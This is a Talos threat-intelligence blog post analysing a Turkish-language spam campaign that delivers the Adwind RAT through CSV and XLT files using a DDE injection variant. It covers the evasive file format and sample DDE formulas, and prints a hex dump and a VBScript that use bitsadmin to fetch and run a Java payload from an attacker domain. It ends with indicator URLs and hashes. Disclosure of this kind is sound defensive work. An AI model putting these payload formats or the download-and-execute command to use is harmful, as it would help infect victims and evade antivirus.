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Adwind Dodges AV via DDE
blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html

This blog post is authored byPaul Rascagneres, Vitor Ventura and with the contribution of
Tomislav Pericin and Robert Perica from ReversingLabs.

Introduction

 
Cisco Talos, along with fellow cybersecurity firm ReversingLabs, recently discovered a new
spam campaign that is spreading the Adwind 3.0 remote access tool (RAT), targeting the
three major desktop operating systems (Linux, Windows and Mac OSX). This new campaign,
first discovered by ReversingLabs on Sept. 10, appears to be a variant of the Dynamic Data
Exchange (DDE) code injection attack on Microsoft Excel that has appeared in the wild in the
past. This time, the variant is able to avoid detection by malware-blocking software.
ReversingLabs has written their own blog on this issue here.

The majority of the targets in this campaign are in Turkey, according to data from the Cisco
Umbrella cloud security platform. After our research, we have discovered important details
about this attack, as well as the malicious, forged Microsoft Office documents that the
attackers are using.

Spam campaign

 
Our Umbrella telemetry shows that this campaign started on Aug. 26, 2018, peaking on Aug.
28.

 

https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html
https://twitter.com/r00tbsd
https://twitter.com/_vventura
https://twitter.com/ap0x
https://www.reversinglabs.com/
https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation
https://2.bp.blogspot.com/-2H06Hjdjs-M/W6IArLKye5I/AAAAAAAAAhc/Q6poqUEiAQUCZjMU8mAPdvOaKjWQp3IVwCLcBGAs/s1600/image8.png
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DNS query hits
 
Umbrella also shows that 75 percent of the requests were made from Turkey. This is no
surprise, considering the language in the spam emails is Turkish. Some of the targets were
also located in Germany, which makes sense given that there is a significant Turkish
community in Germany. The attackers tempt the user with an email about the cost of
footwear in this particular example below.

Sample of spam email
 
In the screenshot above, we can see a CSV file is attached. We identified attachments with
the .XLT extension, too — please see the "Microsoft Office Dropper" section for additional
details.

Microsoft Office Dropper

 
We have seen at least two different droppers in this campaign. They use either the .csv or
.xlt extensions, which are opened by default by Microsoft Excel. Both versions were
leveraging a new variant to the DDE code injection attack. Although this method is well-
known, this variant is undetected at the time of this writing.

The dropper implementing this method will have the following internal format:
 

<random quantity of data><special byte><code to be executed><random quantity of data> 

Here is a breakdown of what this format means:

<random quantity of data> — Random data in any quantity — the last is optional. Not
necessarily ASCII characters.

https://4.bp.blogspot.com/-1VW6ZyNQE24/W6IAzYlDjOI/AAAAAAAAAhg/QukRnmtBUg8oroVO5uVvUVpb0fPkSbBmACLcBGAs/s1600/image4.png
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<special byte> — 0x0A (New Line) or 0x0D (Carriage Return), these special bytes are
interpreted by Excel as new lines, putting any data that follows on the first cell of the next
row.

<code to be executed> — the executed command must start by "=", "+", "-" or be included
in a function (such as @SUM()). The command format is command|'argument'!cell. The cell
does not need to be a valid one. For example: 

=calc|' '!A0 
+msiexec|' /q /i C:\Users\user\Downloads\file.msi'!A0 
@SUM(calc|' '!A0) 

The dropper file can have any of the extensions in the table below. Not all of the extensions
will be opened by Microsoft Excel by default. However, for the non-default extensions, a
script starting Excel with a file with one of these extensions as a parameter is still a viable
attack scenario.

Formats like CSV doesn't have a predefined header, thus it can contain any kind of data at
the beginning. Having random data like in the samples we found my trick the anti-virus into
skip the file scanning. Other formats may be considered corrupted, as they might not follow
the expected format.

Here is an example:

00000830  47 fc c9 c8 5f 27 5b 6e  4e e2 d6 88 21 24 cc 27  |G..._'[nN...!$.'| 
00000840  88 7e 5e bf 40 c2 e9 cd  8a f2 9f 2c b7 d9 b5 a8  |.~^.@......,....| 
00000850  2a c6 98 0d 0a 3d 63 6d  64 7c 27 20 2f 63 20 40  |*....=cmd|' /c @| 
00000860  65 63 68 6f 20 53 65 74  20 57 58 57 59 4b 4e 52  |echo Set WXWYKNR| 
00000870  47 20 3d 20 43 72 65 61  74 65 4f 62 6a 65 63 74  |G = CreateObject| 
00000880  28 22 57 73 63 72 69 70  74 2e 53 68 65 6c 6c 22  |("Wscript.Shell"| 
00000890  29 20 3e 20 4e 4d 55 57  59 54 47 4f 2e 76 62 73  |) > NMUWYTGO.vbs| 
000008a0  20 26 20 40 65 63 68 6f  20 57 58 57 59 4b 4e 52  | & @echo WXWYKNR| 
000008b0  47 2e 52 75 6e 20 22 63  6d 64 20 2f 63 20 62 69  |G.Run "cmd /c bi| 
000008c0  74 73 61 64 6d 69 6e 20  2f 74 72 61 6e 73 66 65  |tsadmin /transfe| 
000008d0  72 20 38 20 2f 64 6f 77  6e 6c 6f 61 64 20 68 74  |r 8 /download ht| 
000008e0  74 70 3a 2f 2f 65 72 61  79 69 6e 73 61 61 74 2e  |tp://erayinsaat.| 
000008f0  6c 69 76 65 20 25 74 65  6d 70 25 5c 4e 4d 55 57  |live %temp%\NMUW| 
00000900  59 54 47 4f 2e 6a 61 72  26 25 74 65 6d 70 25 5c  |YTGO.jar&%temp%\| 
00000910  4e 4d 55 57 59 54 47 4f  2e 6a 61 72 22 2c 30 2c  |NMUWYTGO.jar",0,| 
00000920  54 72 75 65 20 3e 3e 20  4e 4d 55 57 59 54 47 4f  |True >> NMUWYTGO| 
00000930  2e 76 62 73 26 20 4e 4d  55 57 59 54 47 4f 2e 76  |.vbs& NMUWYTGO.v| 
00000940  62 73 27 21 41 30 0d 0a  6e e3 b0 c6 a3 40 b4 fb  |bs'!A0..n....@..| 

Example of a dropper
 
Excel will display warnings to the user regarding the execution of code. Here is an example

https://3.bp.blogspot.com/-HL7pxI51eoo/W6IBg6SwWRI/AAAAAAAAAhs/VvSEMQvuhTEAPDzAXSizf_DYwTy72rrEwCLcBGAs/s1600/image1.jpg
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where the payload is executing "calc.exe:"

Excel corruption warning upon execution
 
As you can see, Excel detects that the opened file is not a real XLT document. It explains
that the file is probably corrupted and asks the user if they are sure they want to open it.

https://2.bp.blogspot.com/-II4jVhu7r8E/W6IBpq6miOI/AAAAAAAAAhw/4mpt3iy0YikdffGCRNbYArYgL_-1jJeagCLcBGAs/s1600/image6.png
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Command execution warning
 
The second warning notifies the user that the document will execute the application
"CMD.exe."

https://4.bp.blogspot.com/-320tMn-V9fk/W6IBuLykiEI/AAAAAAAAAh0/IDJZz92t98MT4y806yAmfuwIMTFgJ3U0QCLcBGAs/s1600/image7.png
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Calc execution
 
If the user accepts the three warnings, the system will open the calculator application.

In this campaign, the purpose of the injected code was to create and execute a VBScript with
the following content:

Set WXWYKNRG = CreateObject("Wscript.Shell") 
WXWYKNRG.Run "cmd /c bitsadmin /transfer 8 /download hxxp://erayinsaat[.]live 
%temp%\NMUWYTGO.jar&%temp%\NMUWYTGO.jar",0,True  

The script uses bitasdmin, a tool provided by Microsoft to download or upload jobs and
monitor their progress, to get the final payload. This payload is a Java archive file.

Java Payload

 
The Java code is packed with the demo version of a commercial packer named "Allatori
Obfuscator version 4.7."

 

https://1.bp.blogspot.com/-u8XrJT8J_Js/W6IBynxcbjI/AAAAAAAAAh4/QOgBc1vEAzMqb3c_g2HwJW4IDLvuuOyHACLcBGAs/s1600/image2.png
https://docs.microsoft.com/en-us/windows/desktop/bits/bitsadmin-tool
http://www.allatori.com/
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Packer banner
 
We identified the packed malware as Adwind RAT v3.0.

Adwind configuration
 
It's a well-known multiplatform RAT with several configurations possible. The samples we
tested were configured to achieve persistence on Windows, Linux and Mac OSX. Each
platform has its own persistence name (see IOC section).

This RAT is used by several malicious groups. It gives its operators the ability to execute any
kind of commands on its victims, log keystroke, take screenshots, take pictures or transfer
files. In the past, it has been used to run cryptocurrency mining campaigns and in a separate
attack that targeted the aviation industry.

Conclusion

 
The DDE variant used by the droppers in this campaign is a good example of how signature-
based antivirus software can be tricked. It is also a warning sign regarding file extension-
scanning configurations. This kind of injection has been known for years, however, this actor
found a way to modify it in order to have an extremely low detection ratio. The malicious
actor used a well-known multiplatform RAT with a wide range of capabilities — a "field
proven" RAT that ensured it would work as designed and go undetected. Although both the
generic method and the payload are known, this campaign shows how some variance in
well-known artifacts can trick antivirus software. Their behavior, however, is clearly classical,
which means that sandboxing- and behavior-based solutions aligned with intent-based
networks should be able to detect and stop these threats without problems.

https://4.bp.blogspot.com/--xcq2q5VbDk/W6IB86tb10I/AAAAAAAAAh8/uFYJUV83XjcEmAsE2iGZDJAbEw4Yr_GtACLcBGAs/s1600/image5.png
https://4.bp.blogspot.com/-ydKNFr7lplQ/W6ICArlBybI/AAAAAAAAAiE/1y-E5m79INsN3KmpQwEdHqID2mA9IjL0gCLcBGAs/s1600/image3.png
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Coverage

 
Additional ways our customers can detect and block this threat are listed below.
 

 (AMP) is ideally suited to prevent the execution

of the malware used by these threat actors.
 
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents
access to malicious websites and detects malware used in these attacks.
 
Email Security can block malicious emails sent by threat actors as part of their campaign.
 
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation
Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity
associated with this threat.
 
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security
products.
 
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.
 
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org.
 

IOCs

URLs

https://1.bp.blogspot.com/-pRJcsF9yJ0o/W59tLiGtwxI/AAAAAAAAAKc/wwAyvzxoTZU-aLnienVh153kwRbIu1SYQCK4BGAYYCw/s1600/image6.png
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://www.snort.org/products
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hxxp://avrasyagrup[.]live
hxxp://avrasyayapi[.]live
hxxp://birlikholding[.]live
hxxp://erayinsaat[.]live
hxxp://qakeyewoha[.]club
hxxp://yeyamohofe[.]club

Hashes

Office Documents

0143b64f11346fab531951f7f1167a80e26728e6178676aacc9a58eca4b306d8
 05a3da412fb18736b93651a19cd87c2042db9dfdf8ad4e2a66239a7ec62a91ca
 05fff8c2a4c5090435420021d96992257433ac1bf247f6cebce9a64cf10f465f

 09c9ee0988af18b8df6123e439133df1356a88a7f0d890cb3b3e2414a427f4dd
 09cb501db2c5a8e7bbd8fd9a65f52363ebdb581bd7d5cbc77a732fd9f8bb5b59
 0a1ad19b950b8435e96be70d1bfb16b3bec4e9113c39299c8a89ddfd45ae24ab
 0a9dee3c14a4ec7acdde5283c44fc1d5fa163a9a9fc5cce40f011e5a2cce5403

 0b9605c9a49b1db8b703782162223fa8a09e864a92083e7427af89279db0520a
 0d96e9cbffb39b95cc3aec5a75e512564efa10a16cb0283119b1a997a2a63469

 0dec9c40241077c5c06474177dee7fef5931c7faa33d89f8d339fa2f6e7304b4
 0def2421327c971ae63075c533cf996951db4b5da72a2bc04bc0d304b4cbb510

 0f46d262b2968aa45f7fe0e5363c4519927e3bd912d9efbad94b1d7fdb45d929
 0fc020ab20b3e77dd13c53d89d75db8257573e0eedf6833497dc05e68e3718ae

 106e8963f23ab2fc04adc04cffc6a3b59e36fffa91d69d1553c2a3bcf95fe828
 13066b6f547d9dfa11046320a16c73964fba0b193ba25740fcb75a5d7df26512

 1397cf6ddcb2b30b3a5d6a003bd6aec1661854a81a745279f1f4259a5e337578
 13ab4c7c4c3ab91121cf599be375cea7f5e13994f7f01bd2b822442e7c71c07d

 13ee53b315c3a14febd7b55e14e52f42d60ef5f3f1e6f5baefc3ea8ad63d048a
 1460ddc9b732346052c29436e0c1390e59921dd68699beaa188d60aef59aec5b

 14aad5aa7a17b56772f4a3ef5139c0ab59e318032d914f4012b8f679475b9d5f
 15bfd41a85216cad6d21e84bccaef9218ceb76adf999797fc3a4b1ef1f9b235f

 16208cc35721ddf420e68e56d08d962182863eb9037ebef0fe1948818dfa3b57
 16d965ec99d4209702f11ae18de40a570600b650619a5f30d0a9d251417109db
 17ca6c33201bab32a20dbc86b0147c9bf216ce7da35f6dc04c48b2c75f57b741

 18a4061dd4b8fac9da260efa6a2d0922c1cfa4c5db6df5aa49206b19578a5d1f
 18f99644657252f4f815456968f696878ada0aa50bf181fa374218a29e1eb36f

 1b2c64a970a11dc02404b2c284e57ea2ce1802762e428ebcc4372596de9f5d02
 1ce2aba502a9a849c8955f39900ba6a0a9e7c8cfcf8b9bad31d49cc135bbf937

 1e32a63997a891960abdc273b660cfebb0fa499c72df04aeb4f3bfc54e6078fa
 2031104e107f9a1f6e261399c8eadcfbb825e526d5016877f62579674e75c688
 20d28e0d90dea1f655583c9842b2a1b35648bfb3dc29977de5961c69123d79e8

 21bcbea2d8d3a66bfc147a9b0dbe4fd5526d6cf21dda7280834526fd92e9c59e
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Java Payload

0a2f74a7787ae904e5a22a3c2b3acf0316c10b95fae08cced7ca5e2fcc7d9bf8
 0af2c5a46df16b98b9ab5af0ec455e98f6e1928c10ed8b6ffec69573498bdd8a 

65220dae459432deb1b038dbcbf8a379519a1a797b7b72f6408f94733bc5a2c2
 93280872f685f9c26d5f668ca1303f224a38d2b86ba707cdbb3d57427396e752 
 93a482e554e2a37e6893fdd8cd92537c0ebc7363ac5fac44b7a4af4a2088ea24


